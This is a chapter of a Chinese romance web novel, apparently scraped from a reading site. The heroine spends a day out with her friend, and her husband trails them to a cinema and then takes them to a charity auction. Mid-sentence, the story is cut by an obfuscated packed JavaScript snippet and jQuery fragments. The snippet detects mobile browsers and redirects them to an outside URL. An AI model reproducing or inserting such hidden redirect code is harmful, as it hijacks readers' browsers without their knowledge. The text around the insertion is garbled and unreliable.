29. 跟屁虫
作品:《成了精神病老公的掌心宠》 浪费粮食不好。
宫玺在心里反复默念着,往白粥里加了两大勺辣椒酱,才勉强当拌饭一样吃下去。
“你今天有什么安排么?”蒋泯斯文地咬着虾饺,颇有耐心地重复了句。
“去找黄钰,然后晚上和我爸出门。”宫玺尽量往模糊上说,“哦对了,今晚我爸回来,你要不……”
“不。”蒋泯无情否决,“我觉得在家住,才能帮你在爸面前把戏做全。”
宫玺:“……那你去次卧。”
“好。”他答应得痛快。
家里不宜久留。宫玺解决完早饭,简单涂了个防晒,换了套运动装就出发。出门前她本想嘱咐一句,晚上可能回来得晚,他也没钥匙,要是出门了提前和她说。可她转念一想,蒋泯出去了刚好,到时候自己手机静音,把他锁外面,兴许他就不在家里住了。
她属实没想到,蒋泯做得比她想得更绝。
……
宫玺打车去黄钰家里等她梳洗化妆。黄妈见到她差点热泪盈眶了,她是真拿宫玺当亲闺女,冷不丁嫁了人,还是远嫁,婚礼后她都抹了好几天眼泪,情绪不振。
“北渡没有南湾好吧?”黄妈是个心直口快的性子,黄钰和她如出一辙,“之前叫你爸爸上家来吃饭时候问起,他说你和那小子定了个什么婚约,依我看呐,你到时候还是回来,结婚有什么好,生意人,除了你黄爸,都很薄情的!你和黄钰,我一个都不想嫁,在家当小公主不好呀?”
“好~干妈,到时候回来我就黏着你,天天让你给我做好吃的。”宫玺从背后抱着她,“干妈最好了。”
“干嘛!想挑战我家庭地位啊?”黄钰穿着条鹅黄色裙子,堪堪过膝,从二楼蹦跳着下来,像只雀跃的小兔。
“谁能挑战过你,真是。”黄妈抬手帮她整了整领子,“穿这么短裙子,出去玩不冷?”
“不可能,我看了天气预报的。”黄钰挎上宫玺的臂弯,“走啦走啦。”
两人先去了中学时代的“据点”,万茂大厦附近的游戏厅——这里扩建不小,填了好多设备,两人照例买了百十来块的游戏币,开始专攻推金币。
这游戏不用大脑,俩人在电玩厅的喧闹背景乐下聊天:
“时间真的太快了,咱俩第一次来这儿,还是十五年前。”
“那时候推金币还掉金币,买一盒能玩一天,现在只出票了。”宫玺遗憾道。
“也还好,可以攒起来换东西。”黄钰连着投进去三四个,哗啦啦掉下去一大堆。
“还是喜欢当初三五个币换一盒的玩法。”宫玺每次扔币子扔得谨慎,必须卡在推板收回去之前。
“对了,薛天炀咋样?我给他发消息没回。”
“他……一直在睡,等我醒时候,蒋泯说他自己走了。”宫玺下意识掩盖了他昨晚找她那段。
“哦,那还行。”黄钰柳眉微蹙,“真不知道他抽什么风。”
“像你说的,毕业焦虑症吧。”宫玺没太当回事,蒋泯就是个变态混球,不管薛天炀还是薛地炀,她都逃不了。
“真是。你和蒋泯还好?”黄钰终于问到了自己真正想问的,“怎么还有婚约什么的,我听我妈说的。”
她是担心宫玺人财两空,凭白被这个资本家掏了个干净。
“婚约是我拟定的。你也知道,我俩认识时间不长,也不算很了解对方。”宫玺斟酌着话,“我是觉得这算一道保险吧,两年内,他要有什么不良癖好、或是对婚姻有所动摇,我们就好聚好散。”
“这确实。”黄钰点点头。她之前还觉得宫玺纯粹是一股恋爱脑冲头,不过既然她有这样的考量,那还是她认识熟悉的宫玺没错儿——她的好闺蜜从小活得就像个等式,做什么前都要考虑周全,有付出就要有得,从不干费力不讨好的事情,也不会将自己陷入难堪境地。
连她们系主任当时都说,宫玺专业挑英语真是屈才了。
不过她知道,宫玺没那个心思远走高飞,她所有事都听她爸的。
……
“这家店真的不错。”刚才玩完游戏厅,俩人又四处逛了一圈,黄钰早就饿得两眼冒星,“去年新开的湘菜馆子,你点完菜可以看到厨师现炒。”
“哇。快去拿号排上队。”宫玺也跟着两眼放光,她就得吃点这种刺激的,来冲淡早上那碗白粥带给她的伤害。
“辣椒炒肉、金钱蛋、鲜椒牛蛙、火辣凤爪……再来一份酸萝卜牛肚和一锅小锅米饭!”
“这么多,咱俩能吃完吗?”饶是宫玺爱吃湘菜,也没这么个点法啊。
“没事儿,我妈都说了,多点点儿,晚上打包回去再吃一顿。”黄钰很久都没像今天这么高兴了,毕业后她就被关在家学雅思,要说在家学习效率真是不行,她都三战了,父亲连寄宿家庭和能申请的大学都给她找好了,硬是考不过门槛。
“那行。一会儿打包完先回你家,然后咱俩再出去看电影。”
“嗯呐!”
商业片,催泪向,剧情无聊。宫玺偷摸把屏幕调到最暗翻朋友圈,黄钰在一旁哭得专注,没发现。
她通讯录好友很多,聊天界面却连一页都没覆盖全。偶尔无聊的时候,她会打开朋友圈看看这些都忘记模样的人,在哪里,做些什么,从而隐隐期待,能有什么新鲜事吸引自己的兴趣。
她追求刺激。她有些怀念海岛那几天的生活。恐惧、未知、高空、极速,这些都能刺激她内心潜藏的小宇宙。
其实自己也挺扭曲的,宫玺心想。她在人前一副淡默如水的假象,内心却有无数火焰在燃烧。
她翻着翻着,突然看到了昨晚蒋泯发的朋友圈:一张窗外夜色图,显而易见来源于她的卧室。
配文:Maybe.
梅你妹。宫玺飞快划走,不想再揣测其中深意。
身后的椅子突然被踢了下。
宫玺还以为是有人中途上厕所,不小心碰到,连头都没回。谁知道不过半分钟,后面的人又踢了一脚。
不知哪家熊孩子。她不想惹事,转移注意力,不曾想身后这人像有毛病,踢她椅背踢出节奏来了。
她略带恼怒地扭过头。正赶着大荧幕上转换场景,整个影厅都发亮——
蒋泯单臂拄在一侧扶手上,偏头慵懒地倚着,眼里还噙着笑意。他正翘着二郎腿,脚尖有一搭没一搭地逛着,不时踢中她的椅背。
这跟讨人厌的熊孩子有什么区别???
“我去上个卫生间。”宫玺俯在黄钰耳边轻声说道。
“呜呜,好。”她正哭得专注。
宫玺没空安慰她脆弱的泪点,起身快步走了出去。身后果不其然跟上个人影。
“你怎么来了?”宫玺都懒得问他怎么知道自己在这儿,徐特助就好像个AI机器人,就算她土遁都能给她抓出来。
“在家闲着也是闲着。”蒋泯双手插兜,一副今天就要跟定她了的架势,“这电影太烂。既然你也看不下去,不去跟我去个好地方。”
“没空。”宫玺不想被他破坏好心情,“我一个月才能回来一次。”
“我记得,婚约里没说,我不能跟着一起回。”蒋泯脸皮厚得很,“而且……与其这样浪费时间,不如带上你朋友,我们去做点有意义的事。”
带上黄钰?宫玺狐疑地看他一眼,“什么事?”
“到了你就知道。”
……
一年一度的青澄园拍卖会。
今年拍卖会定在了南湾,因为南湾有人匿名捐赠了一对明代鎏青水墨花瓶,图案繁复精美,保存完好,光在网上预拍卖就到了三千万人民币。
青澄园向来以各个朝代的青花瓷器、雕刻、熔铸瓶等收藏品为主,更有国内鉴定专家詹方印坐镇,每年集聚众多收藏爱好者关注。拍卖会的验资门槛更是高达千万,参会的都是各界名人贵士。
拍卖是门学问,但喜好才是一掷千金的关键。
宫玺答应了蒋泯,但要求必须看完电影再去,因为黄钰正看得投入。
“我在D区停车场等你们。”
“嗯。”
宫玺想他顶多是找个玩乐丰富的会所。电影结束,她有些难为情地问黄钰,想不想去。
感觉这趟纯洁的闺蜜行被打乱了。
“行啊,正好他人生地不熟,都陪你来了,还不得招待招待。”黄钰倒无所谓,“去哪儿?我跟我妈报备一声。”
“我也不知道。”宫玺耸了耸肩,“反正不出南湾。”
“行吧。”黄钰牵起她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367487|166849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手,“先去看看到底怎么回事。”
……
“什么情况?怎么突然推迟?”
就在刚刚,拍卖场的负责人有些抱歉地宣布,青澄园拍卖会推迟一小时。
“就是啊,我们老板一小时后的飞机哎!”
“搞乜嘢搞乜嘢?”
“这事儿整的,不会是拍卖品出问题了吧?”
台下议论纷纷,更多人则飞快联络,告知临时突发情况。这里坐的都是竞场的助理,背后的老板有的在楼上贵宾观摩区,有的则在千里之外,通过电话和网络与现场联系。
“大家放轻松。稍后会给今天到场的各位,按照签到名字,每人赠送一只晚清官窑竖耳瓶,以作纪念。”负责人语速缓慢,声音却如清泉入耳,“望诸位稍安勿躁。”
在场的人都倒吸一口冷气。这东西光听名字就知道是好货,青澄园不愧是国内首屈一指的拍卖会,财大气粗,而且人家是真的有货,这样稀贵的文玩,人家一送就送一百多个。
……
路上有些堵,蒋泯不耐地屈起手指,轻敲着方向盘。
拍卖会在南湾另一边,走高速很快就到,可他们偏偏在入口处被堵停。今天是礼拜五,返程高峰期,高速入口近主干路,水泄不通。
其实也并非无缝可插,可蒋泯每辆试探着加塞的车都让,二十分钟过去了,他们还在原地挪着。后面的车更是不敢急躁,这辆墨绿色阿斯顿马丁还是改装款,碰掉块尾翼都得上万。
“你下来。”宫玺实在看不下去,“我开。”
蒋泯扫过她的表情,并没有玩笑的意思。他绅士地按下双闪,下了车,还到副驾驶替她开了车门。
后排的黄钰:……
宫玺上车,简单熟悉了下操作,一脚油门插到右边汇入的车流中心,那些被吃尾气的后车都不敢按喇叭,只能任由她霸占位置。
“帅啊。”黄钰紧紧抓住侧边扶手,不由赞叹。
宫玺跟着导航,没十分钟就摆脱了拥挤的车流,上了高速。
她余光瞥着副驾驶的蒋泯,他脸上少有这样吃瘪的表情,让她心里暗爽起来。
哼,开这么好的车,还是个马路上的怂包。
目的地真的是一家会所。只不过和她从前去过的不太一样,这会所大得像座庄园,她一个南湾人都不知道这里。
“女士,您可以在此下车,会有人专门替您停车。”门口的接待生都西装革履,戴着白手套,笑容亲切。
“谢谢。”宫玺下车把钥匙递给他。
“方便问下您的登记名姓?”
“蒋泯。”一直沉默的蒋泯出声了。
黄钰紧跟着宫玺,她俩学生气的打扮似乎不适合这个场合,一阵尴尬油然而生。
“这到底是来干嘛呀?”她小声和宫玺咬耳朵。
“我真不知道。”宫玺摇摇头。看蒋泯跟着引领的人往里走,她赶紧拉着黄钰跟上,这么大地方,走丢了都找不到人。
她们一路绕过室内田园布景、仿真小瀑布、孔雀繁殖基地,终于到达目的地——一处二楼私密观景台。
旁边还有很多房间,都是大门紧闭,只有最中间这间房门打开,在等她们落座。
进屋宫玺才知道,蒋泯这是带她们来了什么地方。
这竟然是个拍卖会。
黄钰也惊呆了,两人面面相觑,都觉得自己不该来这种上流人士的场合。
“喜欢什么就拍。”蒋泯指了指软塌中央桌上的智能屏,“点这个加价。”
宫玺随意翻了翻,就没有低于一百万的藏品。黄钰连一贯甜美的笑容都僵住了,她连这上面的零都快数不过来。
“这是场慈善拍卖会。”蒋泯出言解释,“超出底拍价的部分,会用于儿童先天性缺陷疾病的防治研究。”
宫玺僵硬地点点头。此刻一楼突然响起掌声,她透过全明玻璃窗向下看去,第一个拍卖品已经被罩着红布推上台了。
桌上的显示屏即刻显示出拍品的图片和详细信息:
明末清初官窑五彩云鹤纹瓷瓶一只。
同类品成交价:约五百六十万人民币。
本次起拍价:三百五十万人民币。
……这什么富人游戏。